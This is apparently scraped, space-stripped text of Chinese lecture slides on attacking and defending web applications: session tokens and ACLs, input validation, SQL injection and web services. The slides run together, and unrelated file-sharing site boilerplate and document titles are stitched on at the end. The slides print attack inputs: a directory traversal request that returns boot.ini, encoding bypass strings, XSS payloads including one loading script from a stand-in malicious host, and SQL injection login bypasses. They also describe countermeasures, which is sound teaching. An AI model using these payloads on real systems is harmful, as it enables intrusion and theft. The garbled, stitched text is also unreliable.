牌差異分析角色矩陣5.1授權(quán)實(shí)現(xiàn)的指紋識(shí)別爬行ACL工具:OfflineExplorerPro實(shí)現(xiàn):401錯(cuò)誤:未授權(quán)響應(yīng),說(shuō)明該資源是受ACL保護(hù)的差異分析缺點(diǎn):只能看見鏈接過(guò)去的Web內(nèi)容,如admin頁(yè)面5.1授權(quán)實(shí)現(xiàn)的指紋識(shí)別識(shí)別訪問(wèn)/會(huì)話令牌會(huì)話屬性常見縮寫用戶名Username,user,uname,customer用戶標(biāo)識(shí)付Id,*id,userid,udi,*udi,customerid用戶角色admin=TRUE/FALSE,role=admin,priv=1用戶配置Profile,prof購(gòu)物車Cart,cartid會(huì)話標(biāo)識(shí)符SessionID,sid,sessidWeb應(yīng)用授權(quán)/會(huì)話令牌中通常保存的信息應(yīng)用程序服務(wù)器會(huì)話ID變量名IISASPSESSIONID基于J2EE的服務(wù)器JSESSIONIDPHPPHPSESSIDApacheSESSIONIDCodeFusionCFID,CFTOKEN,JSESSIONID其它JservSessionID,JWSESSIONID,SESSID,SESSION,SID,session_idCOTS的會(huì)話ID5.1授權(quán)實(shí)現(xiàn)的指紋識(shí)別分析會(huì)話令牌破解編碼Base64分析加密MD5,128位DES,Triple-DES差異分析(differentialanalysis)角色矩陣(rolematrix)-應(yīng)用程序中訪問(wèn)令牌和ACL的關(guān)系5.2攻擊ACL所有Web應(yīng)用程序都在一定程度上依賴資源ACL的保護(hù),并非所有的WEB應(yīng)用程序都會(huì)實(shí)現(xiàn)授權(quán)/會(huì)話令牌ACL攻擊是最簡(jiǎn)單的,而攻擊授權(quán)/會(huì)話令牌通常需要更多的工作最常用的URI操縱技術(shù)目錄遍歷/scripts/../../../winnt(MS00-057)查找“隱藏”資源/user/menu->/admin/menu/level/NN/exec/...(CiscoIOSHTTP授權(quán)漏洞)5.3攻擊令牌對(duì)Web應(yīng)用程序的訪問(wèn)/會(huì)話令牌的常見攻擊預(yù)測(cè)手動(dòng)自動(dòng)捕捉/重放手動(dòng)預(yù)測(cè)手工篡改攻擊針對(duì)如下常見的會(huì)話狀態(tài)跟蹤機(jī)制查詢字符串POST數(shù)據(jù)HTTP頭Cookie5.3攻擊令牌手動(dòng)預(yù)測(cè)查詢字符串(GET)例子:/mail.aspx?mailbox=joe&company=acme->/mail.aspx?mailbox=jane&company=acmePOST數(shù)據(jù)工具:curl$curl–v–d‘a(chǎn)uthmask=8195’–d’uid=213987755’–d‘a(chǎn)=viewacct’\>--url/*Connectedto(3)>POST/HTTP/1.1User-Agent:curl/7.9.5(i686-pc-cygwin)libcurl7.9.5(OpenSSL0.9.6c)Host:Pragma:no-cacheAccept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*Content-Length:38Content-Type:application/x-www-form-urlencodedauthmask=8195&uid=213987755&a=viewacct5.3攻擊令牌手動(dòng)預(yù)測(cè)HTTP頭Cookie通過(guò)HTTP的Set-Cookie頭來(lái)設(shè)置Cookie本身無(wú)缺陷,是對(duì)客戶端或服務(wù)器軟件進(jìn)行的攻擊工具:CookieSpy5.3攻擊令牌手動(dòng)預(yù)測(cè)HTTP頭RefererReferer格式:Referer:http://www.siteA.com/index.html,可通過(guò)工具修改,如curl存在問(wèn)題的代碼:strReferer=Request.ServerVariables(“HTTP_REFERER”)IfstrReferer=“/login.html”then ‘thispageisfromlogin,showyouthemoneyEndif注注讓安全依賴于信息的名字決不是好主意,另外決不要相信客戶端的輸入。注5.3攻擊令牌自動(dòng)預(yù)測(cè)自動(dòng)化分析可預(yù)測(cè)會(huì)話的ID和加密保護(hù)值的技術(shù)非線性分析技術(shù)暴力/字典破解位翻轉(zhuǎn)捕獲/重放不是通過(guò)猜測(cè)或逆向工程來(lái)獲得合法的令牌方法:竊聽-wireshark中間人社會(huì)共程學(xué)5.4授權(quán)攻擊案例分析水平權(quán)限提升演示垂直權(quán)限提升導(dǎo)致水平權(quán)限提升的4中情況用戶可更改角色更改cookie中的role值,該值可能為明文,md5散列值等劫持帳號(hào)利用其它安全漏洞不安全的管理功能差異分析5.5安全授權(quán)WebACL安全授權(quán)Apache授權(quán)IIS授權(quán)目錄訪問(wèn)授權(quán)IP地址授權(quán)5.5安全授權(quán)Web授權(quán)/會(huì)話令牌安全使用SSL使用SetCookie響應(yīng)頭的“Secure”參數(shù)來(lái)標(biāo)記Cookie不要自己編寫授權(quán)機(jī)制令牌中不要包含個(gè)人敏感信息一旦改變權(quán)限,就要重新生成會(huì)話ID強(qiáng)制會(huì)話時(shí)間限制,關(guān)閉重放攻擊窗口強(qiáng)制限制并發(fā)登錄安全日志配置變更密碼變更修改其它用戶添加/刪除其它用戶第六節(jié)輸入驗(yàn)證攻擊Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析輸入驗(yàn)證攻擊帶來(lái)的危害輸入驗(yàn)證攻擊載體繞過(guò)客戶端驗(yàn)證常見輸入驗(yàn)證攻擊輸入驗(yàn)證攻擊輸入驗(yàn)證是Web應(yīng)用程序的首道防線,由攻擊者向程序提交了未曾預(yù)料的輸入,攻擊方法SQL注入腳本攻擊,如跨站詳細(xì)錯(cuò)誤信息泄露輸入驗(yàn)證是為了確保輸入數(shù)據(jù)的格式和類型都是應(yīng)用程序所需要的。必須進(jìn)行嚴(yán)格檢查以減少誤操作本節(jié)討論完全信任用戶提供的輸入所帶來(lái)的危險(xiǎn)沒有恰當(dāng)限制期望的數(shù)據(jù)類型,攻擊者攻擊應(yīng)用程序的各種方法6.1輸入驗(yàn)證攻擊帶來(lái)的危害輸入驗(yàn)證攻擊可能針對(duì)程序的不同方面驗(yàn)證流程用JavaScript實(shí)現(xiàn),并放在瀏覽器中數(shù)據(jù)存儲(chǔ)-SQL注入冒充其他用戶-跨站、釣魚控制Web服務(wù)器泄露應(yīng)用程序內(nèi)容緩沖區(qū)溢出攻擊獲得任意數(shù)據(jù)的訪問(wèn)權(quán)限6.2輸入驗(yàn)證攻擊載體GET或者POST具體表現(xiàn)登錄名密碼地址電話信用卡號(hào)搜索Cookie具體表現(xiàn)SQL注入冒充其他用戶6.3繞過(guò)客戶端驗(yàn)證如果輸入驗(yàn)證只采用了基于JavaScript的方法,那么應(yīng)用程序沒有想象中那么安全工具:Paros代理可以在GET或POST請(qǐng)求發(fā)送到服務(wù)器之前截獲,將數(shù)據(jù)改變?yōu)槿我庵?.4常見輸入驗(yàn)證攻擊SQL注入攻擊下節(jié)緩沖區(qū)溢出攻擊轉(zhuǎn)義攻擊基本模式是跳出Web文檔根目錄,從而訪問(wèn)系統(tǒng)文件6.4常見輸入驗(yàn)證攻擊高級(jí)目錄遍歷$./getit.sh/servlet/webacc?user.html=login.htt<HTML><HEAD><TITLE>GroupWiseWebAccessLogin</TITLE></HEAD><!login.htm>$./getit.sh/servlet/webacc?user.html=gor-gorFiledoesnotexist:c:\Novell\java\servlets\com\novell\webaccess\templates/gor-gor/login.httCannotloadfile:c:\Novell\java\servlets\com\novell\webaccess\templates/gor-gor/login.htt.正常請(qǐng)求非正常請(qǐng)求泄露路徑$./getit.sh\>/servlet/webacc?user.html=../../../../../../../boot.ini%00[bootloader]timeout=30default=multi(0)disk(0)rdisk(0)partition(5)\WINNT[operatingsystems]multi(0)disk(0)rdisk(0)partition(5)\WINNT="Win2K"/fastdetect/noguibootC:\BOOTSECT.BSD="OpenBSD"C:\BOOTSECT.LNX="Linux"C:\CMDCONS\BOOTSECT.DAT="RecoveryConsole"/cmdconsNULL字符轉(zhuǎn)義攻擊6.4常見輸入驗(yàn)證攻擊迫使應(yīng)用程序訪問(wèn)任意文件,有很多類似%00的方法../../file.asp%00.jpg,這種情況可以對(duì)進(jìn)行后綴名檢查的程序使用../../file.asp%0a,%0a是換行符,和NULL類似,輸入驗(yàn)證過(guò)濾了%00時(shí),可以考慮使用這種方法/valid_dir/../../../file.asp,用于程序驗(yàn)證文件目錄的情況Valid_file.asp../../../../file.asp,適用程序驗(yàn)證文件名的情況%2e%2e%2f%2e%2e%2ffile.asp(../../file.asp),用于程序在URL解碼前進(jìn)行名稱驗(yàn)證6.4常見輸入驗(yàn)證攻擊無(wú)目錄列表瀏覽Sent:/includes/printable.asp?Link=../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046'Filenotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046'Filenotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046'Filenotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../../inetpub/wwwroot/default.aspReturn:MicrosoftVBScriptruntimeerror'800a0046‘...sourcecodeofdefault.aspreturned!...無(wú)目錄列表的攻擊過(guò)程Link=“D:\Siteserver\data\publishing\documents\”&Request.QueryString(“Link”)源代碼6.4常見輸入驗(yàn)證攻擊錯(cuò)誤代碼目錄列表瀏覽Pathnotfound和Permissiondenied的區(qū)別Sent:/includes/printable.asp?Link=../../../../inetpubReturn:MicrosoftVBScriptruntimeerror'800a0046'Permissiondenied/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../../inetpub/borkborkReturn:MicrosoftVBScriptruntimeerror'800a0046'Pathnotfound/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../dataReturn:MicrosoftVBScriptruntimeerror'800a0046'Permissiondenied/includes/printable.asp,line10Sent:/includes/printable.asp?Link=../../../../Program%20Files/Return:MicrosoftVBScriptruntimeerror'800a0046'Permissiondenied/includes/printable.asp,line10錯(cuò)誤代碼目錄瀏覽過(guò)程6.4常見輸入驗(yàn)證攻擊目錄遍歷對(duì)抗策略轉(zhuǎn)義攻擊最好的對(duì)抗方法是過(guò)濾GET和POST參數(shù)中所有的圓點(diǎn)字符,同時(shí)注意以Unicode和十六進(jìn)制編碼表示的圓點(diǎn)字符強(qiáng)制所有的讀取都從一個(gè)特定的目錄開始安全的文件系統(tǒng)用低級(jí)別權(quán)限的用戶來(lái)運(yùn)行Web服務(wù)器限制Web服務(wù)器賬戶的權(quán)限將敏感的文件,轉(zhuǎn)移出Web文檔根目錄,減輕目錄遍歷攻擊的危害6.4常見輸入驗(yàn)證攻擊腳本攻擊最簡(jiǎn)單的腳本攻擊是輸入<script>標(biāo)記到一個(gè)表單字段中,如果用戶提交的字段內(nèi)容重新顯示,那么瀏覽器就會(huì)把該內(nèi)容解析為JavaScript指令。攻擊的目的:其他用戶觀看了內(nèi)容,就會(huì)陷入社會(huì)工程(socialengineering)陷阱攻擊前提:應(yīng)用程序必須接收用戶輸入應(yīng)用程序必須重顯用戶輸入的內(nèi)容Source:37itemsfoundfor<b><i>test</i></b>Display:37itemsfoundfor<i>test</i>Source:37itemsfoundfor<b><i>test</i></b>Display:37itemsfoundfortest腳本攻擊的簡(jiǎn)單例子6.4常見輸入驗(yàn)證攻擊跨站腳本(XSS)跨站腳本攻擊在其他用戶可以看到的地方放置惡意代碼,通常是JavaScript代碼。表單中的目標(biāo)字段可以是地址、留言評(píng)論等。惡意代碼以竊取cookie為目Hotmail、Gmail、AOL等都曾經(jīng)受到此類攻擊<script>document.write(document.cookie)</script><script>alert('Salut!')</script><scriptsrc="http://www.malicious-host.foo/badscript.js"></script>三種測(cè)試XSS的方法6.4常見輸入驗(yàn)證攻擊嵌入式腳本目標(biāo)為應(yīng)用程序目的是被提交的數(shù)據(jù)在應(yīng)用程序中顯示的時(shí)候,可以做為一段程序指令執(zhí)行。6.4常見輸入驗(yàn)證攻擊對(duì)抗措施防范腳本攻擊最有效、最簡(jiǎn)單的方法,是把所有的尖括號(hào)都轉(zhuǎn)化為對(duì)應(yīng)的HTML編碼?!?lt;’>“<”‘>’>“>”6.4常見輸入驗(yàn)證攻擊濫用編碼URL字符編碼方式多樣利用這一點(diǎn)來(lái)構(gòu)造出復(fù)雜的技術(shù),繞過(guò)輸入驗(yàn)證編碼類型編碼字符漏洞實(shí)例Escaped-encoding%2f(斜線)太多UnicodeUTF-8%co%af(反斜線)IISUnicode目錄遍歷漏洞UnicodeUTF-7+Adw-(左尖括號(hào))2005年11月GoogleXSS漏洞Multipleencoding%255c(反斜線,%5c)IIS雙重解碼目錄遍歷漏洞攻擊者適用的一些常見URL編碼技術(shù)6.4常見輸入驗(yàn)證攻擊對(duì)抗措施對(duì)抗措施使用客戶端驗(yàn)證可以提高性能,但并不安全采用服務(wù)端輸入驗(yàn)證歸一化輸入值約束數(shù)據(jù)類型字符驗(yàn)證和輸出驗(yàn)證白名單/黑名單法安全的處理錯(cuò)誤請(qǐng)求認(rèn)證使用最低權(quán)限訪問(wèn)法則第七節(jié)攻擊Web數(shù)據(jù)存儲(chǔ)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析SQL簡(jiǎn)介發(fā)現(xiàn)SQL注入利用SQL注入漏洞防范攻擊Web數(shù)據(jù)存儲(chǔ)對(duì)于SQL注入漏洞攻擊,沒有哪個(gè)特別的數(shù)據(jù)庫(kù)具有很好的防御能力漏洞是在SQL查詢和它們支持的編程接口中引入的漏洞是由缺乏安全編程和數(shù)據(jù)庫(kù)安全配置導(dǎo)致的7,1SQL入門Web服務(wù)器只能理解HTTP協(xié)議,而數(shù)據(jù)庫(kù)服務(wù)器只能理解SQL語(yǔ)言一般用法舉例:Login.php將用戶證書(用戶名和密碼)做為一個(gè)SQL語(yǔ)句傳遞給數(shù)據(jù)庫(kù)。數(shù)據(jù)庫(kù)接受該語(yǔ)句,執(zhí)行,然后反饋諸如“用戶名密碼匹配”或者“沒有找到用戶名”這樣的響應(yīng),應(yīng)用程序login.php處理從數(shù)據(jù)庫(kù)返回的響應(yīng)。SQL(StructuredQueryLanguage)結(jié)構(gòu)化查詢語(yǔ)言SQL語(yǔ)法:查詢由一個(gè)分號(hào)結(jié)束字符串由單引號(hào)表示括號(hào)可以用在一組邏輯標(biāo)準(zhǔn)中SQL舉例:SELECT*FROMUserTableWHEREFirstName=‘Mike’AND(c=dORe=f);7.2發(fā)現(xiàn)SQL注入SQL注入可以由影響數(shù)據(jù)庫(kù)查詢的任何應(yīng)用程序參數(shù)產(chǎn)生URL參數(shù)POST數(shù)據(jù)Cookie值最簡(jiǎn)單的方法是在參數(shù)值后面添加一些非法或者不期望的字符,觀察應(yīng)用程序是否會(huì)響應(yīng)錯(cuò)誤信息應(yīng)用程序不阻止來(lái)自數(shù)據(jù)庫(kù)的任何錯(cuò)誤信息-語(yǔ)法分析有效應(yīng)用程序阻止來(lái)自數(shù)據(jù)庫(kù)的任何錯(cuò)誤信息-語(yǔ)義分析有效7.2發(fā)現(xiàn)SQL注入不正確的語(yǔ)法造成一個(gè)錯(cuò)誤,錯(cuò)誤會(huì)傳回到用戶的Web瀏覽器中7.2發(fā)現(xiàn)SQL注入單引號(hào)不是能夠破壞查詢語(yǔ)法的唯一字符字符和SQL關(guān)系‘單引號(hào)。用來(lái)分割字符串。一個(gè)不匹配的單引號(hào)會(huì)引起錯(cuò)誤;結(jié)束一個(gè)語(yǔ)句、提前結(jié)束查詢會(huì)產(chǎn)生一個(gè)錯(cuò)誤/*注釋分隔符。注釋分隔符內(nèi)的文字會(huì)被忽略--%20可以用來(lái)提前終止一個(gè)查詢()園括號(hào)。用來(lái)組合邏輯子句。不匹配的括號(hào)會(huì)產(chǎn)生一個(gè)錯(cuò)誤A如果用在數(shù)字比較中,任何字母字符都可以產(chǎn)生一個(gè)錯(cuò)誤識(shí)別SQL注入常見字符平臺(tái)錯(cuò)誤字符串提示ODBC,ASPMicrosoftOLEDBProviderforodbcDriverserror‘80040e21’ODBC,C#[Microsoft][ODBCSQLServerDriver][SQLServer]Unclosedquotationmark.NETStackTrace:[SqlExecption(0x80131904):Oracle,JDBCSQLException:Ora-01722:invalidnumberCodeFusionInvaliddataforCFSQLTYPEMySQL,PHPWaring:mysql_errno():suppliedargumentisnotavalidMySQLPostgreSQL,PerlWaring:PostgreSQLqueryfailed:常見數(shù)據(jù)庫(kù)錯(cuò)誤消息7.2發(fā)現(xiàn)SQL注入語(yǔ)義分析即使不會(huì)收到錯(cuò)誤信息,也不能確定不會(huì)受到SQL注入攻擊管理員可能對(duì)服務(wù)器進(jìn)行設(shè)置,遇到錯(cuò)誤時(shí),以一個(gè)默認(rèn)的頁(yè)面做為響應(yīng)。攻擊方法:語(yǔ)義分析盲注例子:http://website/brose.cgi?catalog=17http://website/brose.cgi?catalog=10%2b7http://website/brose.cgi?catalog=MOD(17,18)http://website/brose.cgi?catalog=0x11缺陷:字符串帶來(lái)的挑戰(zhàn),僅在未過(guò)濾單引號(hào)下有效foo’%3b’bar’=foobar(MicrosoftSQLServer下的字符串串聯(lián))foo’||’bar’=foobar(Oracle的字符串串聯(lián))如果存在過(guò)濾驗(yàn)證,可考慮替換字符編碼SELECT/**/colunm/**/FROM/**/table/**/WHERE/**/clauseSELECT(SPACE(1))colunm(SPACE(1))FROM(SPACE(1))table(SPACE(1))WHERE(SPACE(1))clause7.3利用SQL注入漏洞SQL提供了豐富的函數(shù)組,數(shù)據(jù)庫(kù)平臺(tái)又?jǐn)U展了SQL標(biāo)準(zhǔn),所以先討論適合所有數(shù)據(jù)庫(kù)的技術(shù),然后研究如何利用主流數(shù)據(jù)庫(kù)平臺(tái)的一些SQL擴(kuò)展。通用技術(shù)驗(yàn)證用戶名/密碼的一般做法SELECTCOUNT(ID)FROMUserTableWHEREUserId=‘’ANDPassword=‘’登錄名Mike’--%20修改后SELECTCOUNT(ID)FROMUserTableWHEREUserId=‘mike’--’ANDPassword=‘’載荷描述/*剩余的查詢部分做為注釋‘*/--將查詢的剩余部分做為注釋(替換符號(hào))‘--OR1=1試圖強(qiáng)制生成TRUE條件用來(lái)修改查詢的字符7.3利用SQL注入漏洞查詢替換數(shù)據(jù)數(shù)據(jù)庫(kù)包含了應(yīng)用程序的核心,攻擊者可以從數(shù)據(jù)庫(kù)中獲得所有人的證書探測(cè)方法:基于語(yǔ)義,如:SELECTpriceFROMProductsWHEREProductId=5426AND1=1使用子查詢聯(lián)合平臺(tái)相關(guān)MicrosoftAccess數(shù)據(jù)庫(kù)通過(guò)相關(guān)字段識(shí)別:MSysACEsMSysObjectsMSysAccessObjectsMSysQueriesMSysAccessXMLMicrosoftSQLServer7.3利用SQL注入漏洞平臺(tái)相關(guān)MicrosoftSQLServer確認(rèn)方法:通過(guò)變量識(shí)別SELECT@@variable一些變量7.3利用SQL注入漏洞平臺(tái)相關(guān)MySQL確認(rèn)方法:嵌入到注釋內(nèi)的SQL語(yǔ)句可以被執(zhí)行/*!32300SELECTuserFROMmysql.user*/Oracle7.4防范輸入驗(yàn)證丟棄字符,如”’”思考:O’Berry是不是正常的字符串?拒絕字符,如E-Mail中是不包含括號(hào)的使用正確的數(shù)據(jù)類型讓錯(cuò)誤發(fā)生在應(yīng)用,而不是數(shù)據(jù)庫(kù)中把查詢數(shù)據(jù)從查詢邏輯中分離出來(lái)大多數(shù)數(shù)據(jù)庫(kù)和程序語(yǔ)言都提供了相關(guān)函數(shù),允許開發(fā)者靜態(tài)定義查詢邏輯,并把數(shù)據(jù)放到正確的位置上。編程語(yǔ)言中,使用邊界參數(shù)(boundparameters)或參數(shù)化查詢(parameterizedqueries)方法來(lái)完成數(shù)據(jù)庫(kù)中,通過(guò)存儲(chǔ)過(guò)程(storedprocedure)或用戶自定義的函數(shù)(user-definedfunction)來(lái)完成7.4防范數(shù)據(jù)庫(kù)加密表級(jí)別的加密保護(hù)數(shù)據(jù)字段級(jí)別的加密保護(hù)信息數(shù)據(jù)庫(kù)配置第七節(jié)攻擊Web數(shù)據(jù)存儲(chǔ)Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web平臺(tái)攻擊Web認(rèn)證攻擊Web授權(quán)輸入驗(yàn)證攻擊攻擊Web數(shù)據(jù)存儲(chǔ)攻擊XMLWeb服務(wù)攻擊Web應(yīng)用管理攻擊Web客戶端拒絕服務(wù)攻擊充分認(rèn)知分析什么是Web服務(wù)攻擊Web服務(wù)攻擊XMLWeb服務(wù)Web服務(wù)平臺(tái)提供了在組織內(nèi)部、跨企業(yè)和跨Internet連接,一個(gè)松散耦合的、與語(yǔ)言無(wú)關(guān)的、不依賴于平臺(tái)的方法設(shè)計(jì)完美應(yīng)用程序間通信的協(xié)議的嘗試RPC、DCOM、CORBA8.1什么是Web服務(wù)Web服務(wù)是一個(gè)獨(dú)立的軟件組件,這些組件完成特定的功能,并能夠把關(guān)于它自己能力的信息發(fā)布給網(wǎng)絡(luò)上的其他組件Web服務(wù)基于一組高級(jí)的,日趨完善的Internet標(biāo)準(zhǔn),包括:WSDL(WebServiceDefinitionLanguage)容易造成信息泄露UDDI(UniversalDescription,Discovery,andIntegration)私有UDDI訪問(wèn)公有UDDI的中間人攻擊SOAP(SimpleObjectAccessProtocol)SOAP攻擊工具:WebServiceStudioWSDiggerSoapCWeb服務(wù)只是HTTP上的XML,任何HTTP操縱工具都可以對(duì)其奏效第九節(jié)攻擊Web應(yīng)用管理Web應(yīng)用攻擊的基礎(chǔ)知識(shí)剖析攻擊Web
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 小學(xué)2024-2025學(xué)年下學(xué)期教學(xué)計(jì)劃及教學(xué)活動(dòng)安排
- 妊娠合并風(fēng)濕性心臟病的健康宣教
- 孕期腸痙攣的健康宣教
- EPC項(xiàng)目-高壓配變電工程EPC總承包項(xiàng)目-技術(shù)標(biāo)(承包人實(shí)施計(jì)劃方案、實(shí)施技術(shù)方案、管理組織方案)
- 白癜風(fēng)的臨床護(hù)理
- 勾股定理與函數(shù)課件
- 哺乳期乳暈水腫的健康宣教
- 課題研究與教學(xué)創(chuàng)新方案計(jì)劃
- 課外活動(dòng)與實(shí)踐課程設(shè)計(jì)計(jì)劃
- 輔導(dǎo)學(xué)生社交能力的有效措施計(jì)劃
- 韋尼克腦病病因介紹
- 死亡醫(yī)學(xué)證明管理規(guī)定(3篇)
- 醫(yī)院維修維保工程合同范文
- 2024年度學(xué)校工作總結(jié)校長(zhǎng)匯報(bào):六大支柱筑夢(mèng)教育新征程
- 中華人民共和國(guó)文物保護(hù)法
- 2024《整治形式主義為基層減負(fù)若干規(guī)定》全文課件
- 常用統(tǒng)計(jì)軟件應(yīng)用智慧樹知到期末考試答案章節(jié)答案2024年揚(yáng)州大學(xué)
- 中國(guó)法律史-第三次平時(shí)作業(yè)-國(guó)開-參考資料
- 區(qū)域分析與規(guī)劃智慧樹知到期末考試答案章節(jié)答案2024年寧波大學(xué)
- 食品營(yíng)養(yǎng)學(xué)(暨南大學(xué))智慧樹知到期末考試答案2024年
- 2024年全國(guó)高考物理電學(xué)實(shí)驗(yàn)真題(附答案)
評(píng)論
0/150
提交評(píng)論